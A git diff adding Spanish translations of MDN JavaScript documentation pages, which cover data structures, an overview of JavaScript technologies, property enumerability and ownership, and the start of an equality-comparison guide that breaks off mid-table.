+   <td><code>uint64_t (long long sin signo)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Colecciones_con_clave_mapas_conjuntos_WeakMaps_WeakSets">Colecciones con clave: mapas, conjuntos, <code>WeakMaps</code>, <code>WeakSets</code></h3>
+
+<p>Estas estructuras de datos, introducidas en ECMAScript Edition 6, toman referencias a objetos como claves. {{jsxref("Set")}} y {{jsxref("WeakSet")}} representan un conjunto de objetos, mientras que {{jsxref("Map")}} y {{jsxref("WeakMap")}} se asocian un valor a un objeto.</p>
+
+<p>La diferencia entre <code>Map</code>s y <code>WeakMap</code>s es que en el primero, las claves de objeto se pueden enumerar. Esto permite la optimización de la recolección de basura en el último caso.</p>
+
+<p>Se podrían implementar <code>Map</code>s y <code>Set</code>s en ECMAScript 5 puro. Sin embargo, dado que los objetos no se pueden comparar (en el sentido de <code>&lt;</code> "menor que", por ejemplo), el rendimiento de búsqueda sería necesariamente lineal. Las implementaciones nativas de ellos (incluidos los <code>WeakMap</code>s) pueden tener un rendimiento de búsqueda que es aproximadamente logarítmico al tiempo constante.</p>
+
+<p>Por lo general, para vincular datos a un nodo DOM, se pueden establecer propiedades directamente en el objeto o usar atributos <code>data-*</code>. Esto tiene la desventaja de que los datos están disponibles para cualquier script que se ejecute en el mismo contexto. Los <code>Map</code>s y <code>WeakMap</code>s facilitan la vinculación <em>privada</em> de datos a un objeto.</p>
+
+<h3 id="Datos_estructurados_JSON">Datos estructurados: JSON</h3>
+
+<p>JSON (<strong>J</strong>ava <strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation) es un formato ligero de intercambio de datos, derivado de JavaScript, pero utilizado por muchos lenguajes de programación. JSON crea estructuras de datos universales.</p>
+
+<p>Consulta {{Glossary("JSON")}} y {{jsxref("JSON")}} para obtener más detalles.</p>
+
+<h3 id="Más_objetos_en_la_biblioteca_estándar">Más objetos en la biblioteca estándar</h3>
+
+<p>JavaScript tiene una biblioteca estándar de objetos integrados.</p>
+
+<p>Échale un vistazo a la <a href="/es/docs/Web/JavaScript/Reference/Global_Objects">referencia</a> para conocer más objetos.</p>
+
+<h2 id="Determinación_de_tipos_usando_el_operador_typeof">Determinación de tipos usando el operador <code>typeof</code></h2>
+
+<p>El operador <code>typeof</code> te puede ayudar a encontrar el tipo de tu variable.</p>
+
+<p>Lee la <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/typeof">página de referencia</a> para obtener más detalles y casos extremos.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'Tipos Data y Values ECMAScript')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a class="link-https" href="https://github.com/nzakas/computer-science-in-javascript/">Colección de estructura de datos común y algoritmos comunes en JavaScript de Nicholas Zakas.</a></li>
+ <li><a href="https://github.com/monmohan/DataStructures_In_Javascript" title="https://github.com/monmohan/DataStructures_In_Javascript">Estructuras de datos implementadas en JavaScript</a></li>
+</ul>
diff --git a/files/es/web/javascript/descripción_de_las_tecnologías_javascript/index.html b/files/es/web/javascript/descripción_de_las_tecnologías_javascript/index.html
new file mode 100644
index 0000000000..b61a56c1e5
--- /dev/null
+++ b/files/es/web/javascript/descripción_de_las_tecnologías_javascript/index.html
@@ -0,0 +1,87 @@
+---
+title: Descripción de las tecnologías JavaScript
+slug: Web/JavaScript/Descripción_de_las_tecnologías_JavaScript
+translation_of: Web/JavaScript/JavaScript_technologies_overview
+---
+<div>{{JsSidebar("Introductory")}}</div>
+
+<h2 id="Introducción">Introducción</h2>
+
+<p>Mientras que HTML define la estructura y el contenido de una página web y el CSS define el formato y la apariencia, JavaScript agrega interactividad a una página web y crea aplicaciones web enriquecidas.</p>
+
+<p>Sin embargo, el término paraguas "JavaScript", tal como se entiende en un contexto de navegador web, contiene varios elementos muy diferentes. Uno de ellos es el lenguaje principal (ECMAScript), otro es la colección de las APIs Web, incluyendo el DOM (Document Object Model).</p>
+
+<h2 id="JavaScript_el_núcleo_del_lenguaje_ECMAScript">JavaScript, el núcleo del lenguaje (ECMAScript)</h2>
+
+<p>EL núcleo del lenguaje JavaScript está estandarizado por el Comité ECMA TC39 como un lenguaje llamado <a href="/en-US/docs/JavaScript/Language_Resources">ECMAScript</a>. La última versión de la especificación es <a href="http://www.ecma-international.org/ecma-262/6.0/">ECMAScript 6.0</a>.</p>
+
+<p>Éste núcleo del lenguaje es también usado en ambientes No-Navegadores, por ejemplo en <a href="http://nodejs.org/">node.js</a>.</p>
+
+<h3 id="Qué_considera_ECMAScript_scope">Qué considera ECMAScript scope?</h3>
+
+<p>Entre otras cosas, ECMAScript define:</p>
+
+<ul>
+ <li>Sintaxis (reglas de análisis, palabras clave, flujos de control, inicialización literal de objetos...).</li>
+ <li>Mecanismos de control de errores (throw, try/catch, habilidad para crear tipos de Errores definidos por el usuario).</li>
+ <li>Tipos (boolean, number, string, function, object...).</li>
+ <li>Los objetos globales. En un navegador, estos objetos globales son los objetos de la ventana, pero ECMAScript solo define APIs no especificas para navegadores, ej. <code>parseInt</code>, <code>parseFloat</code>, <code>decodeURI</code>, <code>encodeURI</code>...</li>
+ <li>Mecanismo de herencia basada en prototipos.</li>
+ <li>Objetos y funciones incorporadas (<code>JSON</code>, <code>Math</code>, <code>Array.prototype</code> methods, Object introspection methods...)</li>
+ <li>Modo estricto.</li>
+</ul>
+
+<h3 id="Navegadores_soportados">Navegadores soportados</h3>
+
+<p>A partir de Octubre del 2016, la gran mayoria de los navegadores soportan <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5.1</a> y <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">ECMAScript 2015 aka ES6</a>, pero versiones antiguas (aún en uso) implementan ECMAScript 5 solamente.</p>
+
+<h3 id="Futuro">Futuro</h3>
+
+<p>La 6ta edición principal de ECMAScript fue oficialmente aprobada y publicada como un estándar el 17 de Junio del 2015 por la ECMA General Assembly. Desde entonces las ediciones de ECMAScript son publicadas anualmente.</p>
+
+<h3 id="Internacionalización_de_la_API">Internacionalización de la API</h3>
+
+<p>La <a href="http://ecma-international.org/ecma-402/1.0/">ECMAScript Internationalization API Specification</a> es una adición para la especificación del lenguaje ECMAScript, también estandarizada por Ecma TC39. La internacionalización de la API provee intercalación --collation-- (comparación de string), formateo de números, y fomateo de fechas/tiempo para aplicaciones JavaScript, permitiendo que las aplicaciones elijan el idioma y adapten la funcionalidad a sus necesidades. El estandar inicial fue aprobado en Diciembre del 2012; el estado de la implementación en navegadores es rastreado en la documentación de la <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Intl"><code>Intl</code> object</a>. Las especificaciones de la internacionalización son actualmente ratificadas cada año y los navegadores constantemente mejoran su implementación.</p>
+
+<h2 id="DOM_APIs">DOM APIs</h2>
+
+<h3 id="WebIDL">WebIDL</h3>
+
+<p>Las especificaciones de la <a href="http://www.w3.org/TR/WebIDL/">WebIDL</a> proporcionan el vínculo de las tecnologías DOM y ECMAScript.</p>
+
+<h3 id="El_núcleo_del_DOM">El núcleo del DOM</h3>
+
+<p>El Document Object Model (DOM) es una <strong>convención multiplataforma e independiente</strong> del lenguaje para representar e interactuar con objetos en documentos HTML, XHTML y XML. Los objetos en el <strong>árbol DOM</strong> se pueden abordar y manipular mediante el uso de métodos en los objetos de otras tecnologías. El {{Glossary("W3C")}} estandariza el Modelo de Objetos del Documento Central, que define interfaces independientes del lenguaje que abstraen documentos HTML y XML como objetos, y también define mecanismos para manipular esta abstracción. Entre las cosas definidas por el DOM, podemos encontrar:</p>
+
+<ul>
+ <li>La estructura del documento, un modelo de árbol, y la arquitectura de eventos DOM en el nucleo del DOM: <code>Node</code>, <code>Element</code>, <code>DocumentFragment</code>, <code>Document</code>, <code>DOMImplementation</code>, <code>Event</code>, <code>EventTarget</code>, …</li>
+ <li>Una definición menos rigurosa de la arquitectura de eventos DOM, así como eventos específicos en eventos DOM.</li>
+ <li>Otras cosas como DOM Traversal y el DOM Range.</li>
+</ul>
+
+<p>Desde el punto de vista ECMAScript, los objetos definidos en la especificación DOM se denominan "objetos host".</p>
+
+<h3 id="HTML_DOM">HTML DOM</h3>
+
+<p>HTML, el lenguaje de marcado de la Web, se especifica en términos del DOM. Por encima de los conceptos abstractos definidos en DOM Core, HTML también define el significado de los elementos. El DOM HTML incluye cosas como el <code>className</code> propiedad en elementos HTML o API como {{domxref ("document.body")}}.</p>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">La especificación HTML también define restricciones en los documentos;</span> <span title="">por ejemplo, requiere que todos los elementos secundarios de un elemento</span></span> <code>ul</code> <span class="tlid-translation translation" lang="es"><span title="">que representa una lista desordenada, sean elementos</span></span> <code>li</code>, <span class="tlid-translation translation" lang="es"><span title="">ya que representan elementos de la lista.</span> <span title="">En general, también prohíbe el uso de elementos y atributos que no están definidos en un estándar.</span></span></p>
+
+<p>¿Busca <a href="/en-US/docs/DOM/document"><code>Document</code> object</a>, <a href="/en-US/docs/DOM/window"><code>Window</code> object</a>, <span class="tlid-translation translation" lang="es"><span title="">y los otros elementos DOM?</span></span> ? Lee la documentación <a href="/en-US/docs/Web/API/Document_Object_Model">DOM documentation</a>.</p>
+
+<h2 id="Otras_API_notables"><span class="tlid-translation translation" lang="es"><span title="">Otras API notables</span></span></h2>
+
+<ul>
+ <li>Las funciones <code>setTimeout</code> <code>ysetInterval</code> <span class="tlid-translation translation" lang="es"><span title="">se especificaron por primera vez en la interfaz de</span></span> <code><a href="http://www.whatwg.org/html/#window">Window</a></code> <span class="tlid-translation translation" lang="es"><span title="">en HTML Standard.</span></span></li>
+ <li><a href="https://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">XMLHttpRequest</a> <span class="tlid-translation translation" lang="es"><span title="">hace posible enviar solicitudes HTTP asincrónicas.</span></span></li>
+ <li>EL <a href="http://dev.w3.org/csswg/cssom/">Modelo de Objetos CSS</a> <span class="tlid-translation translation" lang="es"><span title="">esume las reglas CSS como objetos.</span></span></li>
+ <li><a href="http://www.whatwg.org/specs/web-workers/current-work/">WebWorkers </a>permite el cálculo paralelo.</li>
+ <li><a href="http://www.whatwg.org/C/#network">WebSockets</a> <span class="tlid-translation translation" lang="es"><span title="">permite la comunicación bidireccional de bajo nivel.</span></span></li>
+ <li><a href="http://www.whatwg.org/html/#2dcontext">Canvas 2D Context</a> <span class="tlid-translation translation" lang="es"><span title="">es una API de dibujo para</span></span> {{htmlelement("canvas")}}.</li>
+</ul>
+
+<h3 id="Soporte_del_navegador">Soporte del navegador</h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Como todos los desarrolladores web han experimentado</span></span>,  <a href="http://ejohn.org/blog/the-dom-is-a-mess/">el DOM es un desastre</a>. <span class="tlid-translation translation" lang="es"><span title="">La uniformidad del soporte del navegador varía mucho de una característica a otra, principalmente porque muchas características DOM importantes tienen especificaciones muy poco claras (si las hay), y diferentes navegadores web agregan características incompatibles para casos de uso superpuestos (como el modelo de evento de Internet Explorer).</span> <span title="">A partir de junio de 2011, el W3C y particularmente el WHATWG están definiendo características antiguas en detalle para mejorar la interoperabilidad, y los navegadores a su vez pueden mejorar sus implementaciones basadas en estas especificaciones.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Un enfoque común, aunque quizás no el más confiable, para la compatibilidad entre navegadores es usar bibliotecas de JavaScript, que resumen las funciones DOM y mantienen sus API funcionando igual en diferentes navegadores.</span> <span title="">Algunos de los frameworks más utilizados son</span></span> <a href="http://jquery.com/">jQuery</a>, <a href="http://www.prototypejs.org/">prototype</a>, y <a href="http://developer.yahoo.com/yui/">YUI</a>.</p>
diff --git a/files/es/web/javascript/enumeracion_y_propietario_de_propiedades/index.html b/files/es/web/javascript/enumeracion_y_propietario_de_propiedades/index.html
new file mode 100644
index 0000000000..fbe97185f6
--- /dev/null
+++ b/files/es/web/javascript/enumeracion_y_propietario_de_propiedades/index.html
@@ -0,0 +1,333 @@
+---
+title: Enumerabilidad y posesión de propiedades
+slug: Web/JavaScript/enumeracion_y_propietario_de_propiedades
+tags:
+  - Enumerabilidad
+  - Enumeración
+  - Guía
+  - JavaScript
+  - Propiedades
+translation_of: Web/JavaScript/Enumerability_and_ownership_of_properties
+---
+<div>{{JsSidebar("Más")}}</div>
+
+<p>Las propiedades enumerables son aquellas propiedades cuyo indicador enumerable interno se establece en <code>true</code>, que es el valor predeterminado para las propiedades creadas mediante una asignación simple o mediante un iniciador de propiedad (propiedades definidas mediante {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty")}} y tal valor enumerable predeterminado a <code>false</code>). Se muestran numerosas propiedades en bucles {{jsref("Statements/for...in", "for...in")}} a menos que la clave de la propiedad sea {{jsxref("Global_Objects/Symbol", "Symbol")}}. La posesión de las propiedades está determinada por si la propiedad pertenece directamente al objeto y no a su cadena prototipo. Las propiedades de un objeto también se pueden recuperar en total. Hay varios medios incorporados para detectar, iterar/enumerar y recuperar propiedades de objetos, y el gráfico que se muestra a continuación está disponible. A continuación, se muestra un código de muestra que demuestra cómo obtener las categorías faltantes.</p>
+
+<div style="overflow: auto; width: 100%;">
+<table>
+ <caption>Propiedad, enumerabilidad y posesión — métodos integrados de detección, recuperación e iteración</caption>
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Propia del Objeto</th>
+   <th>Propia del Objeto y su cadena prototipo</th>
+   <th>Solo en cadena prototipo</th>
+  </tr>
+  <tr>
+   <td>Detección</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">No enumerable</th>
+       <th scope="col">Enumerable y no enumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>
+        <p>{{jsxref("Global_Objects/Object/propertyIsEnumerable", "propertyIsEnumerable")}}</p>
+
+        <p>{{jsxref("Global_Objects/Object/hasOwnProperty", "hasOwnProperty")}}</p>
+       </td>
+       <td>
+        <p>{{jsxref("Global_Objects/Object/hasOwnProperty", "hasOwnProperty")}} — filtrado para excluir enumerables mediante {{jsxref("Global_Objects/Object/propertyIsEnumerable", "propertyIsEnumerable")}}</p>
+       </td>
+       <td>{{jsxref("Global_Objects/Object/hasOwnProperty", "hasOwnProperty")}}</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">No enumerable</th>
+       <th scope="col">Enumerable y no enumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>No disponible sin código adicional</td>
+       <td>No disponible sin código adicional</td>
+       <td>{{jsxref("Operators/in", "in")}}</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>No disponible sin código adicional</td>
+  </tr>
+  <tr>
+   <td>Recuperación</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">No enumerable</th>
+       <th scope="col">Enumerable y no enumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>
+        <p>{{jsxref("Global_Objects/Object/keys", "Object.keys")}}</p>
+
+        <p>{{jsxref("Global_Objects/Object/getOwnPropertyNames", "getOwnPropertyNames")}}</p>
+
+        <p>{{jsxref("Global_Objects/Object/getOwnPropertySymbols", "getOwnPropertySymbols")}}</p>
+       </td>
+       <td>{{jsxref("Global_Objects/Object/getOwnPropertyNames", "getOwnPropertyNames")}}, {{jsxref("Global_Objects/Object/getOwnPropertySymbols", "getOwnPropertySymbols")}} — filtrado para excluir enumerables usando {{jsxref("Global_Objects/Object/propertyIsEnumerable", "propertyIsEnumerable")}}</td>
+       <td>
+        <p>{{jsxref("Global_Objects/Object/getOwnPropertyNames", "getOwnPropertyNames")}}</p>
+
+        <p>{{jsxref("Global_Objects/Object/getOwnPropertySymbols", "getOwnPropertySymbols")}}</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>No disponible sin código adicional</td>
+   <td>No disponible sin código adicional</td>
+  </tr>
+  <tr>
+   <td>Iterable</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">No enumerable</th>
+       <th scope="col">Enumerable y no enumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>
+        <p>{{jsxref("Global_Objects/Object/keys", "Object.keys")}}</p>
+
+        <p>{{jsxref("Global_Objects/Object/getOwnPropertyNames", "getOwnPropertyNames")}}</p>
+
+        <p>{{jsxref("Global_Objects/Object/getOwnPropertySymbols", "getOwnPropertySymbols")}}</p>
+       </td>
+       <td>{{jsxref("Global_Objects/Object/getOwnPropertyNames", "getOwnPropertyNames")}}, {{jsxref("Global_Objects/Object/getOwnPropertySymbols", "getOwnPropertySymbols")}} — filtrado para excluir enumerables usando {{jsxref("Global_Objects/Object/propertyIsEnumerable", "propertyIsEnumerable")}}</td>
+       <td>
+        <p>{{jsxref("Global_Objects/Object/getOwnPropertyNames", "getOwnPropertyNames")}}</p>
+
+        <p>{{jsxref("Global_Objects/Object/getOwnPropertySymbols", "getOwnPropertySymbols")}}</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">No enumerable</th>
+       <th scope="col">Enumerable y no enumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>
+        <p>{{jsxref("Statements/for...in", "for..in")}}</p>
+
+        <p>(no incluye símbolos)</p>
+       </td>
+       <td>No disponible sin código adicional</td>
+       <td>No disponible sin código adicional</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>No disponible sin código adicional</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Obtención_de_propiedades_por_enumerabilidadposesión">Obtención de propiedades por enumerabilidad/posesión</h2>
+
+<p>Ten en cuenta que este no es el algoritmo más eficiente para todos los casos, pero es útil para una demostración rápida.</p>
+
+<ul>
+ <li>La detección puede ocurrir por <code>SimplePropertyRetriever.theGetMethodYouWant(obj).indexOf(prop) &gt; -1</code></li>
+ <li>La iteración puede ocurrir por <code>SimplePropertyRetriever.theGetMethodYouWant(obj).forEach(function (value, prop) {});</code> (o usa <code>filter()</code>, <code>map()</code>, etc.)</li>
+</ul>
+
+<pre class="brush: js notranslate">var SimplePropertyRetriever = {
+    getOwnEnumerables: function(obj) {
+        return this._getPropertyNames(obj, true, false, this._enumerable);
+         // O podrías usar for..in filtrado con hasOwnProperty o simplemente esto: return Object.keys(obj);
+    },
+    getOwnNonenumerables: function(obj) {
+        return this._getPropertyNames(obj, true, false, this._notEnumerable);
+    },
+    getOwnEnumerablesAndNonenumerables: function(obj) {
+        return this._getPropertyNames(obj, true, false, this._enumerableAndNotEnumerable);
+        // O simplemente usa: return Object.getOwnPropertyNames(obj);
+    },
+    getPrototypeEnumerables: function(obj) {
+        return this._getPropertyNames(obj, false, true, this._enumerable);
+    },
+    getPrototypeNonenumerables: function(obj) {
+        return this._getPropertyNames(obj, false, true, this._notEnumerable);
+    },
+    getPrototypeEnumerablesAndNonenumerables: function(obj) {
+        return this._getPropertyNames(obj, false, true, this._enumerableAndNotEnumerable);
+    },
+    getOwnAndPrototypeEnumerables: function(obj) {
+        return this._getPropertyNames(obj, true, true, this._enumerable);
+        // O podrías usar "for..in" sin filtrar
+    },
+    getOwnAndPrototypeNonenumerables: function(obj) {
+        return this._getPropertyNames(obj, true, true, this._notEnumerable);
+    },
+    getOwnAndPrototypeEnumerablesAndNonenumerables: function(obj) {
+        return this._getPropertyNames(obj, true, true, this._enumerableAndNotEnumerable);
+    },
+    // Retrollamada del supervisor de propiedad estática privada
+    _enumerable: function(obj, prop) {
+        return obj.propertyIsEnumerable(prop);
+    },
+    _notEnumerable: function(obj, prop) {
+        return !obj.propertyIsEnumerable(prop);
+    },
+    _enumerableAndNotEnumerable: function(obj, prop) {
+        return true;
+    },
+    // Inspirado en http://stackoverflow.com/a/8024294/271577
+    _getPropertyNames: function getAllPropertyNames(obj, iterateSelfBool, iteratePrototypeBool, includePropCb) {
+        var props = [];
+
+        do {
+            if (iterateSelfBool) {
+                Object.getOwnPropertyNames(obj).forEach(function(prop) {
+                    if (props.indexOf(prop) === -1 &amp;&amp; includePropCb(obj, prop)) {
+                        props.push(prop);
+                    }
+                });
+            }
+            if (!iteratePrototypeBool) {
+                break;
+            }
+            iterateSelfBool = true;
+        } while (obj = Object.getPrototypeOf(obj));
+
+        return props;
+    }
+};</pre>
+
+<h2 id="Tabla_de_detección">Tabla de detección</h2>
+
+<div style="overflow: auto; width: 100%;">
+<table>
+ <thead>
+  <tr>
+   <th scope="row"></th>
+   <th scope="col"><code>in</code></th>
+   <th scope="col"><code>for..in</code></th>
+   <th scope="col"><code>obj.hasOwnProperty</code></th>
+   <th scope="col"><code>obj.propertyIsEnumerable</code></th>
+   <th scope="col"><code>Object.keys</code></th>
+   <th scope="col"><code>Object.getOwnPropertyNames</code></th>
+   <th scope="col"><code>Object.getOwnPropertyDescriptors</code></th>
+   <th scope="col"><code>Reflect.ownKeys()</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Enumerable</th>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+  </tr>
+  <tr>
+   <th scope="row">No enumerable</th>
+   <td>true</td>
+   <td>false</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+  </tr>
+  <tr>
+   <th scope="row">Símbolos clave</th>
+   <td>true</td>
+   <td>false</td>
+   <td>true</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>true</td>
+   <td>true</td>
+  </tr>
+  <tr>
+   <th scope="row">Enumerable heredado</th>
+   <td>true</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <th scope="row">Heredado no enumerable</th>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <th scope="row">Símbolos clave heredados</th>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{jsxref("Operators/in", "in")}}</li>
+ <li>{{jsxref("Statements/for...in", "for..in")}}</li>
+ <li>{{jsxref("Object.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Object.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptors()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/equality_comparisons_and_sameness/index.html b/files/es/web/javascript/equality_comparisons_and_sameness/index.html
new file mode 100644
index 0000000000..f4928d5611
--- /dev/null
+++ b/files/es/web/javascript/equality_comparisons_and_sameness/index.html
@@ -0,0 +1,487 @@
+---
+title: Comparadores de igualdad e identidad
+slug: Web/JavaScript/Equality_comparisons_and_sameness
+tags:
+  - Comparación
+  - Identidad
+  - Intermedio
+  - JavaScript
+  - SameValue
+  - SameValueZero
+  - igualdad
+translation_of: Web/JavaScript/Equality_comparisons_and_sameness
+---
+<div>{{jsSidebar("Intermediate")}}</div>
+
+<div class="summary">
+<p>Existen cuatro algoritmos de igualdad en ES2015:</p>
+
+<ul>
+ <li>Comparación de Igualdad Abstracta (<code>==</code>)</li>
+ <li>Comparación de Igualdad Estricta (<code>===</code>): utilizada por <code>Array.prototype.indexOf</code>, <code>Array.prototype.lastIndexOf</code>, y  <code>case</code>-matching</li>
+ <li>SameValueZero: utilizado por los constructores de <code>%TypedArray%</code> y <code>ArrayBuffer</code>, así como por las operaciones <code>Map</code> y <code>Set</code>, y también por <code>String.prototype.includes</code> y <code>Array.prototype.includes</code> desde ES2016</li>
+ <li>SameValue: utilizado en el resto de los casos</li>
+</ul>
+
+<p>JavaScript proporciona tres operaciones distintas para comparar la igualdad de dos elementos:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity">===</a> - Igualdad estricta  (o "triple igual" o "identidad")</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality">==</a> - igualdad débil o relajada  ("doble igual")</li>
+ <li>{{jsxref("Object.is")}} proporciona SameValue (nuevo en ES2015).</li>
+</ul>
+
+<p>Elegir una u otra operación depende del tipo de comparación que se esté buscando realizar.</p>
+</div>
+
+<p>Explicándolo de manera concisa, un doble igual lleva a cabo una conversión de tipo (cast) cuando se comparan dos cosas; el triple igual hace lo mismo pero sin realizar ninguna conversión de tipo (cast) (simplemente devuelve falso si los tipos de los elementos a comparar son diferentes); Y Object.is funciona de la misma manera que el triple igual pero hace una gestión especial de NaN, -0 y +0 de tal manera que los dos últimos no son  iguales mientras que Object.is(NaN, NaN) nos devolverá <code>true</code>. (Si comparamos NaN con NaN de manera ordinaria , por ejemplo usando el doble igual o el triple igual, nos devolverá <code>false</code>, ya que la especificación IEEE 754 así lo dice). Hay que darse cuenta de que la distinción entre todas estas posibilidades  tiene que ver con como se manejan los tipos primitivos; ninguna de ellas compara si los parámetros son similares en relación a su estructura. Para comparar dos objectos no primitivos , x e y, que tengan la misma estructura pero que sean objetos diferentes entre ellos, todos los casos anteriormente descritos devolverán false.</p>
+
+
+
+<h2 id="Igualdad_Estricta_usando">Igualdad Estricta usando  <code>===</code></h2>
+
+
+
+<p>El operador igualdad estricta compara la igualdad de dos valores. Ninguno de estos valores se convierte de manera implícita antes de ser comparado.  Si los valores tienen tipos diferentes son considerados diferentes. Por el contrario, si los valores tienen el mismo tipo y no son números, son considerados iguales si tienen el mismo valor. Finalmente, si ambos valores son números, son considerados iguales si ambos no son NaN y tienen el mismo valor, o si uno es +0 y otro -0.</p>
+
+
+
+<pre class="brush: js">var num = 0;
+var obj = new String("0");
+var str = "0";
+var b = false;
+
+console.log(num === num); // true
+console.log(obj === obj); // true
+console.log(str === str); // true
+
+console.log(num === obj); // false
+console.log(num === str); // false
+console.log(obj === str); // false
+console.log(null === undefined); // false
+console.log(obj === null); // false
+console.log(obj === undefined); // false
+</pre>
+
+
+
+<p>La igualdad estricta es casi siempre el operador igualdad más adecuado. Para todos los valores, excepto para los números, utiliza la semántica obvia: un valor sólo es igual así mismo. Para número usa una semántica ligeramente diferente para  paliar dos casos límites diferentes. El primero es que usando número en coma flotante el cero puede ser positivo o negativo. Esto es útil para representar ciertas soluciones matemáticas, pero en la mayoría de las situaciones no nos importa esa diferencia entre +0 y -0. La igualdad estricta los trata como un únicomvalor. El segundo caso tiene que ver con que los número en coma flotante incluyen el concepto NaN (Not a Number) como un posible valor para representar la solución a ciertos problemas matemáticos mal definidos, por ejemplo la adición de un infinito negativo a un infinito positivo. La igualdad estricta trata NaN como desigual con cualquier otro valore -- incluyendo a sí mismo. (El único caso en el que x !== x es verdades en cuando x is NaN).</p>
+
+<h2 id="Igualdad_débil_usando">Igualdad débil usando  ==</h2>
+
+<p>El operador igualdad débil compara la igualdad de dos valores después de convertir ambos valores a un tipo de datos común. Tras la conversión  , la comparación que se lleva a cabo funciona exactamente como ===. La igual débil es una igualdad simétrica: A == B tiene una semática idéntica a B == A para cualquier valor que tengan A y B ( excepto por el orden de las .conversiones de tipo aplicadas)</p>
+
+
+
+<p>Para los operandos de varios tipos funciona de la siguiente manera:</p>
+
+
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row"></th>
+   <th colspan="7" scope="col" style="text-align: center;">Operando B</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"></th>
+   <td></td>
+   <td style="text-align: center;">Undefined</td>
+   <td style="text-align: center;">Null</td>
+   <td style="text-align: center;">Number</td>
+   <td style="text-align: center;">String</td>
+   <td style="text-align: center;">Boolean</td>
+   <td style="text-align: center;">Object</td>
+  </tr>
+  <tr>
+   <th colspan="1" rowspan="6" scope="row">Operando A</th>
+   <td>Undefined</td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td>Null</td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td>Number</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+   <td style="text-align: center;"><code>A === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A === ToNumber(B)</code></td>
